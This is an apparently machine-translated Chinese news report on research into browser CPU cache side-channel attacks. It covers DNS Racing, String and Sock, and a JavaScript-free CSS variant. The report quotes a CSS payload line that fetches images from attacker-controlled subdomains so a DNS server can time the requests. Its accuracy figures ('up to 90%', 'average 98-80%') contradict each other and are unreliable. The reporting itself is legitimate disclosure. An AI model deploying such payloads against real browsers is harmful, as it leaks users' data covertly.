在沒有 JavaScript 的 Web 瀏覽器中實作 CPU 快取提取攻擊

來自美國、以色列和澳洲幾所大學的研究人員團隊開發了三種在網頁瀏覽器上運行的攻擊,以提取有關處理器快取內容的資訊。 一種方法適用於沒有 JavaScript 的瀏覽器,另外兩種方法則繞過現有的側通道攻擊防護方法,包括 Tor 瀏覽器和 DeterFox 中使用的方法。 用於演示攻擊的程式碼以及攻擊所需的伺服器元件已發佈在 GitHub 上。

為了分析快取的內容,所有攻擊都使用 Prime+Probe 方法,該方法涉及用一組標準值填充緩存,並透過在重新填充時測量對它們的訪問時間來檢測變化。 為了繞過瀏覽器中存在的干擾準確時間測量的安全機制,有兩種選擇:向攻擊者控制的 DNS 或 WebSocket 伺服器發出請求,該伺服器會記錄收到的請求的時間。 在一個實施例中,使用固定的DNS回應時間作為時間參考。

使用外部 DNS 或 WebSocket 伺服器以及基於機器學習的分類系統進行的測量足以在最佳場景(平均 98-80%)下預測準確度高達 90% 的值。 此攻擊方法已在各種硬體平台(Intel、AMD Ryzen、Apple M1、Samsung Exynos)上進行了測試,並證明是通用的。

在沒有 JavaScript 的 Web 瀏覽器中實作 CPU 快取提取攻擊

DNS Racing 攻擊的第一個變體使用 JavaScript 陣列的 Prime+Probe 方法的經典實作。 差異歸結為基於外部 DNS 的計時器和 onerror 處理程序的使用,當嘗試從不存在的網域載入映像時會觸發該處理程序。 外部計時器允許對瀏覽器進行 Prime+Probe 攻擊,從而限製或完全停用對 JavaScript 計時器的存取。

對於位於同一乙太網路上的 DNS 伺服器,計時器的精確度估計約為 2 毫秒,足以進行旁路攻擊(作為比較,Tor 瀏覽器中標準 JavaScript 計時器的精確度為減少至 100 毫秒)。 對於攻擊,不需要控制 DNS 伺服器,因為選擇了操作的執行時間,以便 DNS 的回應時間作為檢查提前完成的標誌(取決於是否觸發了 onerror 處理程序)或早或晚,對快取檢查操作的速度得出結論)。

第二種攻擊方法“String and Sock”,旨在繞過限制 JavaScript 中數組低階使用的安全技術。 String 和 Sock 不使用數組,而是對非常大的字串進行操作,選擇字串的大小以便變數覆蓋整個 LLC 快取(最後一級快取)。 接下來,使用indexOf()函數,在字串中搜尋一個小子字串,該子字串最初在來源字串中不存在,即搜尋操作會導致迭代整個字串。 由於行大小對應於 LLC 快取的大小,因此掃描允許您在不操作陣列的情況下執行快取檢查操作。 為了測量延遲,不是對 DNS 進行調用,而是對攻擊者控制的 WebSocket 伺服器進行調用 - 在搜尋操作完成之前和之後,在線路中發送查詢,伺服器根據查詢計算用於分析快取的延遲內容。

「CSS PP0」攻擊的第三種變體是透過 HTML 和 CSS 實現的,可以在禁用 JavaScript 的瀏覽器中運行。 該方法類似於“String and Sock”,但不依賴 JavaScript。 在攻擊過程中,會產生一組 CSS 選擇器,透過遮罩進行搜尋。 填充快取的初始大字串是透過建立具有非常大的類別名稱的 div 標籤來設定的。 裡面有一組其他帶有自己識別符的 div。 這些巢狀 div 中的每一個都有自己的樣式,並帶有一個搜尋子字串的選擇器。 渲染頁面時,瀏覽器首先嘗試處理內部 div,這會導致在大行上進行搜尋操作。 使用故意丟失的遮罩執行搜索,並導致迭代整行,之後觸發“非”條件並嘗試加載引用隨機域的背景圖像: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …

子網域由攻擊者的 DNS 伺服器提供服務,該伺服器可以測量接收請求的延遲。 DNS 伺服器為所有請求發出 NXDOMAIN 並保留請求的確切時間的日誌。 處理一組 div 後,攻擊者的 DNS 伺服器會收到一系列請求,這些請求之間的延遲與檢查快取內容的結果相關。

在沒有 JavaScript 的 Web 瀏覽器中實作 CPU 快取提取攻擊


來源: opennet.ru

添加評論